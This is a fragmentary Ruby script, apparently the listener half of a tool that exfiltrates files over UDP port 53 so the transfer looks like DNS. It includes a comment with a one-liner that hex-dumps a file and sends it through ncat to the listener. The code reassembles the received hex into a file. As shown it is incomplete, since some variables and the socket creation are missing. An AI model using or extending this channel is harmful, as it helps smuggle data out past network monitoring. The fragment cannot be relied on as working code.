# KING SABRI | @KINGSABRI
# for hex in $(xxd -p ethernet-cable.jpg); do echo $hex | ncat -u localhost 53 ; done
puts "[+] sudo ruby #{__FILE__} <FILENAME>"
# Open UDP Socket and bind it to port 53 on all interfaces
udpsoc.bind('0.0.0.0', 53)
response = udpsoc.recvfrom(1000)
response = response[0].force_encoding("ISO-8859-1").encode("utf-8")
data = response.match(/[^<][a-f0-9]([a-f0-9]).*[a-f0-9]([a-f0-9])/i).to_s
# Write received data to file
File.open(file, 'a') do |d|
d.write [data].pack("H*") unless data == data_old # Don't write the same data twice(poor workaround)
puts data unless data == data_old